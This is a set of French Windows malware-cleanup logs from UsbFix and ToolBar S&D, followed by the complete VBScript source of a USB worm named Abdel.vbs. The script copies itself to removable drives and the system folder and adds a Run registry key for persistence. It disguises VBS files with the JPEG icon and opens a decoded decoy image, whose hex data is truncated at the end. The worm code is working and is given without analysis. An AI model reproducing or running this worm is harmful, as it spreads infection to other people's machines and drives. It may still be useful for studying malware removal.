[14/07/2008 12:48|--a------|148321] - D:\Visa Royaume Unis.pdf
[26/08/2008 09:51|--a------|26112] - D:\yassin.doc
[18/05/2009 10:27|--a------|34465056] - G:\setupfre.exe
[01/01/2007 13:38|--a------|198554] - G:\Abdel.vbs
[12/03/2009 17:17|--a------|735807488] - G:\Behind.Enemy.Lines.Colombia.FRENCH.DVDRIP.XVID-SYR.avi

################## [ Vaccination ]

# C:\autorun.inf ( # Not infected ) -> Folder created by UsbFix.
# D:\autorun.inf ( # Not infected ) -> Folder created by UsbFix.
# F:\autorun.inf ( # Not infected ) -> Folder created by UsbFix.
# G:\autorun.inf ( # Not infected ) -> Folder created by UsbFix.
# R:\autorun.inf ( # Not infected ) -> Folder created by UsbFix.
# S:\autorun.inf ( # Not infected ) -> Folder created by UsbFix.

################## [ Cracks / Keygens / Serials ]

# -> Nothing found !

################## [ ! Fin du rapport # UsbFix V3.021 ! ]

-----------\\ ToolBar S&D 1.2.8 XP/Vista

Microsoft Windows XP Professionnel ( v5.1.2600 ) Service Pack 3
X86-based PC ( Multiprocessor Free : Intel(R) Pentium(R) Dual CPU E2200 @ 2.20GHz )
BIOS : Phoenix ROM BIOS PLUS Version 1.10 A05
USER : administrator ( Administrator )
BOOT : Normal boot
Antivirus : Symantec Endpoint Protection 11.0.777.1008 (Activated)
C:\ (Local Disk) - NTFS - Total:39 Go (Free:14 Go)
D:\ (Local Disk) - NTFS - Total:109 Go (Free:4 Go)
E:\ (CD or DVD)
F:\ (Local Disk) - NTFS - Total:111 Go (Free:65 Go)
G:\ (USB) - FAT - Total:993 Mo (Free:0 Go)
R:\ (Network Disk) - NTFS - Total:97 Go (Free:96 Go)
S:\ (Network Disk) - NTFS - Total:97 Go (Free:96 Go)

"C:\ToolBar SD" ( MAJ : 21-12-2008|20:47 )
Option : [2] ( 19/05/2009|20:58 )

-----------\\ SUPPRESSION

Supprime! - C:\Program Files\MyWebSearch\bar
Supprime! - C:\Program Files\MyWebSearch

-----------\\ Recherche de Fichiers / Dossiers ...


-----------\\ [..\Internet Explorer\Main]

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Local Page"="C:\\windows\\system32\\blank.htm"
"Start Page"="http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome"
"Search Page"="https://www.google.com/?gws_rd=ssl"
"Default_Page_URL"="http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome"
"Default_search_url"="http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch"
"Search bar"="https://www.bing.com/?toHttps=1&redig=5FC791212101479BAFBE1A679848B1AF"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL"="http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome"
"Default_Search_URL"="http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch"
"Search Page"="http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch"
"Local Page"="C:\\windows\\system32\\blank.htm"
"Start Page"="https://www.msn.com/fr-fr/"
"Search bar"="http://www.bing.com/spresults.aspx"


--------------------\\ Recherche d'autres infections


Aucune autre infection trouvée !


1 - "C:\ToolBar SD\TB_1.txt" - 19/05/2009|20:59 - Option : [2]

-----------\\ Fin du rapport a 20:59:12,47

'on error resume next
demarrage = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System"
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSSH = CreateObject("Wscript.shell")
Set xx = FSO.GetSpecialFolder(1)
dim fso,codeintegral
Set fso = CreateObject("Scripting.FileSystemObject")
entrer
sub entrer()
ss = cstr(xx)
location = wscript.scriptfullname
if instr(location,ss)=false then
diversion2
else
do while time <> "00:00:00"
detecterracines
wscript.sleep 180000
loop
end if
detecterracines

if (fso.fileexists(xx & "\OeApi.vbs")) then
else
copiermessage xx,"OeApi"
DemarrerDe xx
changericone
end if
end sub

sub detecterracines()
Dim fso, d, dc, s, n
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d in dc
racine = d.Driveletter & ":"
u= detectamovibles(racine)
'msgbox racine
if u ="Amovible" and d.isready then

if not (fso.fileexists(racine & "\Abdel.vbs")) then
copiermessage racine,"Abdel"
end if
end if
Next
end sub
Function detectamovibles(drvpath)
Dim fso, d, s, t
Set fso = CreateObject("Scripting.FileSystemObject")

Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(drvpath)))
Select Case d.DriveType
Case 0: t = "Inconnu"
Case 1: t = "Amovible"
Case 2: t = "Fixe"
Case 3: t = "Rseau"
Case 4: t = "CD-ROM"
Case 5: t = "RAM Disk"
End Select

detectamovibles = t
End Function
sub ChangerIcone()
dim resultat
resultat = wssh.regread ("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\jpegfile\DefaultIcon\")
wssh.Regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Vbsfile\DefaultIcon\",resultat
end sub
sub DemarrerDe(Location)
set wssh = CreateObject("WScript.Shell")

wssh.regwrite demarrage,location & "\OeApi.vbs"
end sub
sub copiermessage(x,name)
File = Wscript.ScriptFullName
fso.copyfile file ,x & "\" & name & ".vbs"
end sub
sub diversion2()
Dim fso, f, f2, ts, ts2
Dim Ligne, i
Set FSO = CreateObject("Scripting.FileSystemObject")
if (fso.fileexists(xx & "\ABDEL.jpg")) then
wssh.run xx & "\ABDEL.jpg"
else
Set f = fso.GetFile(WScript.ScriptFullName)
Set ts = f.OpenAsTextStream(1, -2)
fso.CreateTextFile xx & "\ABDEL.jpg"

Set f2 = fso.GetFile(xx & "\ABDEL.jpg")
Set ts2 = f2.OpenAsTextStream(2, -2)
for i=1 to 103
ts.skipline
next
do
Ligne = ts.readline
For i=2 to Len(Ligne) step 2
ts2.write chr("&h" & mid(Ligne,i,2))
Next

loop until ts.AtEndOfStream
ts.Close
ts2.Close
wssh.run xx & "\ABDEL.jpg"
end if
end sub


'FFD8FFE000104A46494600010200000100010000FFE0474A4A4658580013405FF2F7F9EEF4F3F2F5F5F2F5F5F2F5F5F2F5F5F1F4F2F3F5F3F4F6F4F3F5F3F2F4F2F2F4F2F1F3F1F1F3F1F1F3F1F1F3F1F2F4F2F3F5F3F0F2F0F0F2EEEFF3EEEFF1EDEFF1EFEEF0EEEDEEEFECEEECF0EEF0EDECEBEEECEEECEBEAEAE8EAEAE8EAEAE9E8E8E7E6E7E6E5E7E6E3E4E2DCE4E1DFE4E2DEE2E0DCE2E0DCE3E1DDE6E2DAE2DED6E1DDD5E3DED9E5E0DBE5E1D9E2DDD8E2DDD8E1DCD9E2DDD8E3DDD8E5E0DBE2DCD7DFDBD1E3D9B7E3E4E7E2E2E7E3E4E7E4E5E8E4E4EBE4E4EBE5E5ECF4F7F9F0F5F7F2F5F5F2F5F5F2F5F5F3F6F6F1F4F2F4F7F7F4F6F4F3F5F3F2F4F2F2F4F2F1F3F1F2F4F2F2F4F0F2F4F2F2F4F2F1F3F1F1F3F1F0F2F0EFF2F0EFF1EFEEF0EEF0F2F0EBEDEBEFF1EFECEEEAEEEDECEEECEEE9E7E9EAE8EAEAE9E8E8E7E6E7E6E5E5E5E0E4E4DDE6E3E3E5E3DFE3E0DEE2E2DBE0DEDAE3E1DDE4DFDADFDBD3E1DCD7E0DBD6DFDAD5E2DDD8E0DBD6E1DBD2E0DAD5E0DAD5E3DDD8E3DDD8E1DCD7DAD4CBB59871AB9169B0916BAA916CAD8A639F7F5796715699745BF2F7F9F1F6F8F3F6F6F2F5F5F2F5F5000000F3F5F3F3F4F5000000F2F4F2F2F4F2000000F2F4F2F2F4F2000000F2F4F2F2F4F2F2F4F2000000000000F0F2F0EEF0EEEDEFEDEEF0EEEDEFEDEEEDECEDECE9ECEBE8EDECEBEAE9E8EAE9E8E7E6E5E9E8E7E3E2DFE2E1E0E3E0E0E3E1DDE3E1DDE4E2DEE0DEDAE0DEDAE1DFDBE2DDD8E1DBD4E2DCD7E0DBD6E0DAD3E2DCD5E1DAD8E2DCD7DFD9D4E1DBD6E0DAD5E0DAD5E2DCD7E0DDDBDAD4CFD8DAC8D2D6C6D5D4C9D6D6CDD7D7C8D9D7CFD4CFCDF1F6F8F2F5F7F1F6F8F2F5F5F2F5F5F3F4F5F3F4F7F3F5F3F3F5F3F3F5F3F3F5F3F3F5F3F2F4F2F2F4F2F2F4F2F2F4F2F2F4F2F1F3F1F0F2EEF0F2F0F0F2F0EEF0ECEEF0EEEFF1EFEFEEEDECEFEDEDECEBECEBEAECEBEAEDECEBEDECEBEDECEBECEBE8E7E5E1E0DEDADEDCD4DDDBD7DEDCD8DEDCD6E1DFDBE0DED8E0DEDADFDAD5E2DCD5E0DAD3E1DBD4E1DBD6DED9D4E0DBD6DFD9D4DFD9D4DED8D3DFD9D0DFD9D4DED8D3E1DBD6E1DAD9E0DAD5DED7D5E1DAD8E1DAD8E1DAD8E1DAD8E2DBDCEFF2F2F0F6F5F0F5F7F2F5F5F2F5F5F3F4F5F3F4F5F3F5F3F2F5F5F2F4F2F3F5F3F1F3F1F2F4F2F1F3F1F0F2F0F0F2F0F0F2F0F1F3F1F0F2EEF1F3EFF0F2EDEFF1EDF0F2F0EDEFEDEEEDECEDECEBEFEEEDECEBEAE4E2DEA1866CB79777B1926FBBA27DD3C2B5DEDCD8DDD7D0DCD7D2DDD8D3DEDAD0DFDDD9E0DEDAE1DFDBDFDBD3E0D9D7E0DAD3DBD9D3E1DBD4DEDAD2DED9D4DFDAD8DDD7D2DFD9D0DFD9D4E1DBD6DDD7CEE0D9D0DDD7D2E0DAD5E0D9D8DED8D1DED7D5E0D9D7E1DBD4E5DDD7EFF5F4F0F3F3F2F5F5F0F3F3F2F5F5F3F6F6F4F5F6F3F4F5F4F6F4F2F4F2F1F3F1F1F3F1F1F3F1EFF1EFF2F4F2F1F3F1F2F4F2F2F4F2F2F4F2EEF0EEEEF1EFEEF0EEEEF0EBF0F2F0ECEBEAE7E6E3DBD6C98B6A4E805F3B916C499D7956907142B1926FC7A684A7866CC7AD8DE3D9C9DCD3C5DADBCFDED9D4DDDBD7E0DEDAE0DCD4DDD9CDDDD8D3DFDBD1E2DED4DFDAD5DFDAD5DED9D4DFDAD5DFD9D2DFD9D4E1DBD6E0D9D7DFD9D4DFD8D6E3DCDADFD8D6E0DAD3E0D9D7E2DBDAE1DAD9E2DBD9EDF2F4EDF3F2F0F3F3F2F5F5F2F5F5F2F5F5F2F5F5F2F4F2F2F4F2F1F3F1F2F4F2F2F4F2F2F4F2F2F4F2F4F6F4F2F5F5F1F3F1F1F3F1F2F4F0EFF1EFF0F2EEF0F2F0EEF0EEEEF0EEEDEFEDECE8E08E6E4E88694488674B967251CEAE8E8A664599704D926E4DB18F72D4B7A0D7C1ADD7B596E1CAB3DBD7CDE0DAD5E0DBD8DED9D4DEDAD2DDD8D3DED9D7DDD8D3DFDAD7DED9D4DED9D4DCD7D5DDD8D6DFD9D0DFD8D7DED7D5E0D9D7E1DCDAE1DAD8DFD9D2DDD8D5DED7D5DDDAD8DED7D6E1DAD9F1F4F6F0F3F3F1F4F4F1F4F4F1F4F4F2F5F5F0F3F3F3F4F5F2F5F3F3F5F3F3F5F3F2F4F2F2F4F2F1F3F1F2F4F2F2F4F2F3F5F3F1F3EFF0F2F0EEF0EEF0F2EEEFF1EFECEFEFEFF1EDEAEDED85684F7A5B358C6D477E5B46A8895CAE8C709D7B66795430987245BA9571C0A984E4C9AFEEDBC4E8D6C3E0CEB9DFD9D2DDD8D3DAD6CEDCD8D0DED9D4DBD7CFDCD7D2DFDAD7DED9D4E3DED9DED9D4DFD9D4DAD5D0DCD7D2E0DAD3E0D9D7DED9D6DFD8D6E0D9D7DDD8D5DCD7D4E0DBD9E2DBDADFDAD7F3F6F8F1F6F8F3F6F8F2F5F5F1F4F4F3F6F6F3F6F6F4F6F2F3F6F4F2F4F2F3F5F3F2F4F2F1F3F1F3F5F3F1F3F1F1F3F1F1F3F1EFF1EFF0F2F0F1F3EEF1F3F1EFF1EFF1F0EFF0F2F0C2B2AA745A3A7A5F43826453815E4F9E7D4DB393737F5D41A3826087624782553DA38363CCBBA0D3BFABE9D7C4EFDDC8DED4CADDD8D5DBD6D1DAD5D0DCD7D2DBD6D1DCD8D0DBD7CFDBD6D3DDD8D3DAD5D0DCD6D1DCD8D0DDD8D5DCD7D2DDD7D2DCD7D4DED9D6DFD8D6DCD7D4DCD7D5DDD8D5DDD8D6E0D9D7F3F8FAF4F7F5F3F6F8F2F5F5F1F4F4F2F5F5F3F4F5F3F5F3F3F5F3F1F3F1F3F5F3F2F4F2F1F3F1F3F5F3F0F2F0F1F3F1F1F3F1F1F3F1F1F3EFF1F3F1F2F4F2F4F3F0F1F0EFF0EEEA73583C755B3B84694F73573999775A744F34957356784F327C552D9B7255BE997D7A4630D0AE91DED0BCE1CBB7EADECBE1D3C2DDD7D2D9D5CDDDD2C5D9D5CBD9D4CFDBD6D3DAD5D0D9D5CBD9D4CFD7D2CDDAD5D3DAD4CFDAD6CEDAD5D0DAD5D2DAD5D2DBD6D3DAD5D2D8D3D0DBD6D4DAD5D3DCD7D5DDD8D6F2F4F8F1F4F4F3F8FAF2F5F7F2F5F3F4F5F6F3F4F5F1F3F1F2F4F2F1F3EFF1F3EFF1F3F1F0F2F0F1F3F1F1F3F1F1F3EFF0F2F0F3F2F1F3F3EEF2F4F0EFF1EDEFEEEBF0EFEEEDEFEB6C533B8A7159826A4F7A5F476B4A28836343825E3D7B5134
'8E684A673B21B39471C1A77F936847D2C5AEECDFD0EADAC9EBD8C8DAD3CAD9D4CFD5D1C9D5D1C9D8D4CAD7D2CDD5D1C5D5D3CFD8D2CBD8D2CDD8D3CEDAD4CFD5CFCAD9D2D3DAD4CFD8D2CDD8D2CDD5CFCAD8D2CDD8D3D0D8D3D1D9D4D2DCD6D7F3F6F8F1F4F4F3F6F6F4F7F7F3F6F6F2F5F5F3F5F3F3F5F3F2F4F2F2F4F2F2F3F4F3F5F3F2F4F2F0F2F0F1F2F3F0F2F0F1F3F1F0F2EEF2F1EEF2F1F0F4F3F0F1F0EFF0F0EBE5E7E37B6547634927624B347155399F7E62A27E5B916B4D886040946B4E986F4AC4A6839E6C58E5D3BEF5D7A4E3D1B2DAC8B1ECDECADAD1C3D9D5CDD7D2CDD5D1C5D6D2CAD6D1CCD2D0CAD7D1CAD6D0C9D6D0C9D5CFCAD7D1CAD5CFC8D7D1CAD5CFCAD6D0CBD8D2CDD7D1CAD3CDC8D7D1CCD7D0CFD6D1CED8D3D1EFF4F7EFF2F2F0F3F3F1F4F2F2F5F5F0F3F5F4F6F4F1F4F4F3F5F3F3F5F3F2F4F2F2F3F4EFF0F1F1F3F1F1F3F1F1F3F1F0F2F0EFF2F0F0EFEEF2F2EDF1F0EDF1F0EFF0F2EEB4A69C7860456A52356B534275583F7553419B6E48B17A52A16B4E986342B08262D2AA87EBCDBA875A34FDE5D0ECDABDF6DBC3E8DECCE8DCC9D4D0C8D7D1CAD4D0C8D3CFC7D3CDC4D5CFC8D4CEC7D5CFC8D2CBC9D5CFC8D5CFC8D6D0CBD6D0CBD3CDC8D4CEC9D2CCC3D4CDCCD4CFCCD4CDCCD7D0D1D5CECDD5D0CDEDF2F4EEF4F3F2F5F5F2F5F5F2F5F5F3F4F5F5F7F3F2F5F5F2F4F2F3F4F5F2F4F2F0F1F2F0F2F0EFF1EFF1F3F1F1F2F3EDEFEDF1F0EFF1F0EDF4F3F2F0EFECEFEEEDF2EFED9A8C7A775F4279634C6F5742785C40967155B88664B57D5DBC8367B07A4FA76F4DD3B799CBAB81EFCFA7F1DAC1B7865DDCC094ECD9C9EADBC3D9CFC5D5CFC8D5CFC8D5D1C9D6D0C9D3CDC6D5CFCAD3CFC5D5CFC8D4CEC7D7D1CCD5CDC9D6D0CBD3CDC8D1CBC2D6D0CBD7D0CFD5CECDD4CDCCD3CCCAD4CDCCD9D2D1EDF0F2EEF1F1EEF5F4F1F4F4F2F5F5F2F5F5F5F6F9F3F5F3F2F4F2F2F4F2F0F1F2F3F5F3F1F3F1F0F2F0F0F2F0F1EFF1EEF0EEF0EFECF1F0EDF1F0EFF0EFEEEFEEEBEDEFEB90795E624A2F765A46775D4F88664A8B5F43A97658AE7D63C09073C28D6CC38A6EAE7A5CE5CCB6DCC3AB8A582EC2A485EAD1BBEBDDC9E9D5C5E1D7C7D5CFC8D3CEC2D2CCC5D5D0C1D4CFC3D2CBBFD6D0CBD4D0C8D7D1CAD5CFCAD2CDC8D3CDC6D5CFC6D5CFC8D2CCC7D3CCCDD4CDCBD3CCCDD5CECDD3CCCDD6D1CFEEF1F1EEF1F1F1F4F4F1F4F4F1F4F4F4F7F7F4F5F6F2F4F2F2F3F4F1F3F1F1F3F1F0F1F2F1F3F1F1F3F1F0F2F0EFF1EFF2F1F0EFF3EDF1F0EFF0EFEEF0EFEEF0EFEEF2F1F0846C4F70553971564C7E60516A4931A27350A7745ABB856AC99471C99375CC937BBF8570AE734DD4BEA7C28F6BE7D1B1D8BA8FEEDAC6E9D4BAE9DDCAD0D1D2D5D0CDD2CDBED2CDCAD2CDCBD6D1CCD6D2CAD3CEC9D3CDC6D5CFC8D4CEC9D4CEC7D3CDC8D4CEC7D3CDC6D2CDCAD2CDCBD5CECCD3CCCDD3CECCD5D0CEECEFF1EEF1F3F1F4F4F1F4F4F1F4F4F1F4F4F2F3F4F3F5F3F1F2F3F1F2F3EEF0ECF1F3F1F0F2F0EFF1EFF0F2F0EFEEEDF1F0EFF1F0EFF2F2EDF0EFECEDF0EEEEF0EEF1EFF1866C4D7155417A63428366516F523980512EA2785BC58C72CF997BCC9476D09A7FC89476B2795FAD7C64F0CEBBE8D0B1BA8C61E9D2B1ECD6C2E7D8C0E2E0E4E1DFE1D3CDC4D2CFC1D3CDC6D9D3CCD2CCC7D3CEC9D4CDCBD2CEC6D2CEC6D2CCCDD2CCC5D3CDC8D2CBC9D1CCC7CFC9C2D4CFCDD1CAC8D4CFCDD5D0CEECEDF0ECEFEFF0F3F5F0F4EFF0F3F3F0F3F3F1F4F4F2F5F5F2F4F0F1F3F1F0F2F0EFF1EFEFF1EFEDEFEDEEF0EEEFEEEDF1F0EFF0EFEEF0EFECF0EFEEF1F0EDF0EFECDCD8D075593D6F543A7C61458263469A80618D625283665A866C5AA37662C39074CD987DA3726256402C664535D5C3A4D2B0919A5A3DE2C19DE9D7C0EBD5BEE1E3E7E3E1E5D1CCC9D3CFC5D4D0C6D4D0C8D2CDC8D3CFC5D1CDC1D4CDC1D3CEC9D3CECBD3CCCAD2CDCAD1CCC7D2CCC7D1CCC9D2CDCBD1CBCED3CECBD5D0CEEBEEF0E8EBEDF2F5F7F0F3F3F1F4F4F0F4EFF0F3F3F1F3F1F0F2F0F0F1F2F0F1F2EEEFF0EFF1EFEFF0F1EEF0EEEEEFF0EEF0ECEFF1EFF0EFEEF0EFEEF1F0EDEFEEED8F77626D4D376D52307B5C4397765AAB8C715D433B403C41BCB3B5745843B87D64CC9877724F44564F4ECAB4ADAC8670C19C808A4724CEB48AEBDCC6E6CFB8E4E1E1E0E0E5D7D9D7D2CEC4D4CFCAD3CECCD2CDCAD3CECBD1CCC7D3CECBD2CDCAD2CDCAD2CEC4D3CECCD1CCC9D0CBC6CFCBC3D1CCC9D2CDCAD2CDCBD4CFCAEAEBEEE8EBEDEEF0F4EDF0F0EEF1F3F0F1F2F0F3F3F0F3F3EFF1EFF0F1F2F0F2EEEFF0F1F0F2EEEDEEEFEFF1EFF1F0EFEEF0ECEEEFF0F0EFEEF1F0EFF0EFECEBEEF0886F5A7B5B3D6B513283624A9B7B5DAC9475845E4C745047906C5D7E594DAC7C5DD6A88AA8775F8F605DB3866EAE6C4DEBD3B688582BE7C1A3EAD1B9E5CAAEE5DCDCDFDFE4DEDEE5D1CCC7D2CEC6D2CEC6D1CCC9D3CECBD2CEC4D1CCC7D2CDCBD2CDC8D1CFCBD1CCC9D0CBC8D2CCCFD0CBC9D0CBC6D1CCC9D2CDCBD4CECFE7E8EBE9EAEDEDEFF3ECEFF1EEF1F1EFF0F1EFF2F2EFF0F1EDEEEFEFF1EFEEEFF0EEEFF0EDEEEFEFF1EFEFF1EFF0EFEEF1F0EFF0EFEEEFEFEAF0EFECF1F0EDCCC7C279604A795B3A6A4E398C6B519D765EB6957DB27C61B7836D9D6D5A8A5F45B27E67E9BDA1DEAB8FC38871CC8B72C57F5DDBBEA5DCB992EAC6A3DFC0A7E5D2BBE6DCD6E1E3E9DDDDE2D0CFC4D1CCC7D2CDCBD2CDC8D1CCC7D0CBC6D2CDCBCFC9C2D1CCC9D0CBC8D0CBC9CDC8C5CFCAC7CFCAC8D1CCCAD0CBC9D1CCCAD3CECCE4E5E8E9E7EBEAEDEFECECF1EEEFF0F0F3F3F0F1F4F0F4EFEFF0F1EEF0EEEDEF
'EBEDEEEFEDEEEFEEEFF0EEF0EEF1F0EFEFF1EFEEF1EFF1F0EDF1F0EFE8E5E5AD9D8DAC9E8D735A33644B3593715C9B795AB28A79B5745BB67C60996A528A5E44BA856CFBCFB3E4AC8ED29B83D89981CB7F5FE0B699EECAA7E5C5A7E6C39EE8D9C1E3D8CEE3E3EADFDFE4D7D5D9D0CBC6D0CBC6D0CCC4CFCAC7D0CCC4D0CCC2D1CBCCD0CBC6D1CCCACFCAC5CFCAC8CFC9C4D0CBC8CFCAC8CEC7C5D0CACDD2CDCBE3E4E7E6E7EAEBECEFECEDEEECEFF1EFF0F3EFF0F1EFEFF4EEEFF0EDEEEFEEEFF0EDEEEFECEEECEFF1EFECEDEEEFEDEFEEEFF0ECEEECEDEFEDEDEEEFEFEEEDA49181B1A79571554366472E8F6E54B89280B58975A66651AA745F9264558E6248C6977FFED3BAE1AC8BCD8F71D2957CCD7F60CE9978EBC8A3E3C4A9D4B391E9D7C4E4DAD0E0E2E8E2E2E7E0DDE7D0CACBD1CCC7CFCAC5D2CDC8D1CCC7CFCAC5CFC9C2D0CACBD1CCCAD1CCCACEC9C6CFC9C4D1CBC4CFCAC8D0C9C7CEC9C7D1CCCAE4E5E6E7E8EBE9EAEDEBECEFEDEEF1EBECEFEDEEEFEFF0F1EEEFF0EEEFF0EDEFEDEEEFF0EDEEEFEDEEEFEFEEEDECEDEEEDEFEDEFEEEDEDEFEDEFEEEDEFECEE9A8B77B5A6988165506A4D369775589A795F7F543DA76A51AB755A90604B7F5746986C5CDBA995DFAB95C78A6ECC9276CF8365753E16F0CBAFE2C1A5E9C8A4EAD9BEE4DDD1E3E5EBE0E0E7DBDDE3CECCC4CFCBC3CFCAC5D1CCC7CDCBC7D0CAC5D0CBC8D0CBC8CFCAC7CFCAC7CEC7C5CFC8C6CFC9C0CEC8C3CCC5C3CFCAC7D1CCCAE3E5E3E5E6E9E9EAEDEAEBEEEBECEFECEDEEEEEFF0EEEFF0EDEEEFEBECEDEDEEEFECEDEEECEDF0ECEDEEEBECEDEDEEEFEBECEDEEECEEEDEEEFECEDEEEDECEB97887AA29387876E58775C40A68468B8977F7558439D664EAE775F955F4A9B5044D79F91EAAEA5EAC3A9B57B5FCA8E6DD89A7A874D2EE0BFA5E2C2A2ECCBAFEFD8BFEBE1D9DFE1E7E0E0E7E0E2E8D2D5D3D1CCC7D0CAC1CFCBC3D1CBC4CFC9C4CFC8C6CECAC2CEC9C6D0C9C7CBC6C4D0C9C7CFC9C4CDC7C2D0C9C7D1CACBD1CAC9E3E4E7E5E6E9E7E8EBE9EAEDEAEBEEEDEEF1EDEEEFECEDEEEBECEDEBECEDECEDEEEBECEDEBECEDECEDEEEBECEDEEEFF0EDEBEDECEBEAECEBEAEBECEDECEFEFA79B965B462A8D796F71563EA2826E957057EDD0B7986E4DAE785BA6694DD5A892A65B51B96458F9676DCB9673C3846C8E5531A26645E9C9ABE6CCAAE4C5A2E7CFB0ECE3D7DEE0E6E0E2E8E2E2E7DFE1E9CCC7C2CDC8C3CFC9C4CCC7C2CFC9C4CEC8C3CEC9C4CFC8C6CBC6C4CFC9C2CEC7C5CBC6C4CEC7C5CDC6C4CFC8C6D1CAC9DEDFE0E2E3E4E8E9ECEAEBEEEAEBEEEAEBEEEEEFF0EBECEFEAEBECEBECEDEBECEDEBEEEEE8E9EAEBECEDEEECEEE9EAEBECEBE8EDEBEDEAEBECEAEBECEBECEDE5E2E271624E93887E83685094785CB1886EBFA28DB89683B37356E7C3B19D5C4DAE3640DD4352EAAD94D9A586D99A7879482EB37754E7C0AAE3CBB0ECCBA9E4CDACECE1D6DFE1E7E2E2E9E2E4EADCDEE4D0C9C0C8C3BEC9C7C3CCC7C2CCC7C4CEC8C3CAC3C2CEC8C1CCC7C5CBC4C2CCC5C4C9C4C2CCC5C4CCC5C3D0CBC6CEC7C6E1E2E3E3E4E5E6E7EAE8E9ECEAEBEEE7E8EBEBECEFEAEBECEBECEDEBECEDECEAECEAECEAE9EAEBEAEBECEBE9EBECEAECEDEBEDECEBEAEDEBEDEBEAE9ECEAECF0ECF1E2DFDD5A4C32B2896FAF7560E1B9A9AB765DB48B6ECC906DE5BAA3A7735FC08876E6B395E0AD91DFA68479462C9C6041D09F76D4AF8BECD4B9ECCDA7DFC7A8EBDFD8E0E2E8DFE1E7E0E2EADFE1E9D2D0D2CAC5C0CECAC2CCC8C0CDC7C0CBC6C1CDC7C0C9C4C1CAC5C2CBC4C2CCC5C4CCC7C5CAC5C2CBC4C2CACAC5CEC9C6DDE3E2E2E3E4E5E6E7E7E5E9EAE8ECE8E9ECEAEBEEEAEBEEECEAEEECEAECEBE9EBEBE9EDEBE9EBEAE8EAECEAECEBE9EBEAE8EAEBE9EBE7E9E7ECEAEFDCCFCFD0C6B46A4539774F49C18E74BA7F66D0A68FCCA086CB9B7CD5A087E5B3A3B07A65CD9585DFAD9DE2B0908E583D7E4E3BB17A55D3AB81E5C5A5EDDBC4E2CBAAE2CDA9E8DDD0E0E2E8E3E5EBE1E3E9DEE0E8D5D9E1C9C4BFC8C3C0C9C4C1C9C4BFCBC6C4CCC4C2C9C4C1CAC3C1CBC6C3C9C4BFC9C4BFCAC3C2CBC4C3CEC9C4CCC5C4DCDEDCE0E1E2E3E4E5E5E6E9E8E6EAE9E7EBE8E9ECE9EAEDE9EAEBEBE9EEEBE9EBEBE9EBEBE9EBEBE9EBEBE9EBEAE8EAE9E7E9ECEAEFB08E7CB1765DAB6F50935C477F4C42B49089AB7A62BD8C74C28F71CB9B7EC68E70DAA692E1B2A9B57556BE8062B3765BA06745875133A6754EC5906BD7B28EDFC3A5E7D2B8EDD8BEE0C6A6E6D9C8E0E2E6E1E3EBDFE1E9DEE0E8DBDDE5CBC3BFC9C4BFC7C2BFCAC5C2C8C3C1C9C4C1C9C4C2C8C3C0C8C3C0C6C1BFCAC5C2C5BEBCC7C0BFC9C4C2CAC5C3DBDEDEDFE0E1E0E1E4E2E5E5E7E5E7E6E7EAE9E7EBE8E9ECE8E9ECE9E7E9EAE8ECE9E7E9EAE8EAEBE9EBEAE8EAE9E8E7EAEBECAB8D7AB57C60C08465C08B6A9D624D7F4D438B5D4EAC7862B47F66BF8D6DC9997CC08C6ED4AA93E4BFB3C38565BE815EAD6F4FA66D4B965D45AC7B54A57B52ECCDB0ECCBAFEAD3BCEBD3B4E4CEB0E7D9C5E1E0ECDFE1E9E1E3EBDEE0E8DDDFE7D1D3D1C7C2BFC6C1BCC8C3C0C7C2BDC9C3BEC4BFBCC7C2BDC8C3C0C7C2C0C6C1BEC7C2BFC8C3C0C6C1BFCCC5C3D9DADBDDDEDFDFE0E1DFE0E1E6E4E6E7E5E7E8E6E8E6E7EAE9E7EBE8E9EAE9E7E9E9E7E9EAE8EAEAE8EAEAE8EAE9E8E7E9EAEBA46F56B98163BF8765C48F6EB37D607F473F845548A36E57B0735ABA8668BD8D6EBF8B6DD0A189D1B9AEC99670AB6D51B77758B47857A3714FAD7A56C8A387C0A275E1CAB1E4CBB5E5C5A5ECD6B6E0CCABDDDFE5DFE1E9DEE0E8DEE0E8D8DCE4D5DCE7C7C2BFC6C1BEC7C2BDC6
'C1BEC7C0BEC7C2BFC7C2BFC8C3C1C6C1BFC5C0BEC7C0BEC6C1BEC8C1C0C8C1C0DADBDCD8D9DCDBDCDDDEDFE0E2E3E4E4E5E8E5E6E7E5E6E9E9E7E9E9E7E9E8E6E8E9E7EBE9E7E9E9E7E9E8E6E8E8E7E6EFEADEAB7057B98163C38E6DC79271C8937889543D94644FA16753A36A50BB7F60BD8D70C08E6EC68C6FD0A99BD3A378D9A47FCC906DC28361BE8760A67951D5B99BDBBD9CC7A286E1BD9CDEBE98DFC5A5DFCDB8DEDEE7DDDFE7DCDEE4DFE1E9DEE3E8D5D9E1C6BEB8C7C2BDC6C1BEC8C3C0C7C2BFC5C0BDC7C2BFC6C1BCC4BFBCC5BEBCC5C0BEC7C2C0C9C2C1CCC5C4DADBDED7D8DBD8D9DADADBDCDFE0E1E1E2E3E4E6E4E5E6E7E7E5E7E8E6E8E8E6E8E8E6E8E8E6E8E8E6E8E8E7E6E6E5E4A88775AB7353BC8263C58D6BC79173C19172A66D53A46C5AA168509C674EB17250B98368BC8C6DD3A086CD9F8EC2957DCBA380D7A88FD29E7FD09878CA9B76D8B19BD9B594AB8F7AC8A481DDC6A5DDCBB4E2D3C7D6D5D2D5D7DDD2D4DAD2D4D8D2D3D6C9C6C6C7C2C0C6C1BEC4BFBCC8C3C0C6C2B8C5C0BEC4BFBAC4BFBCC6BFBDC8C3C1C5BEBCC6C1BEC7C0BFCAC3C2D2D8D5D4D7D7D3D6D8D9D6D8D9DCDCDBDCDDD9E2E0DBD9D1B4ABADD8DEDBE5E6E7E6E4E6E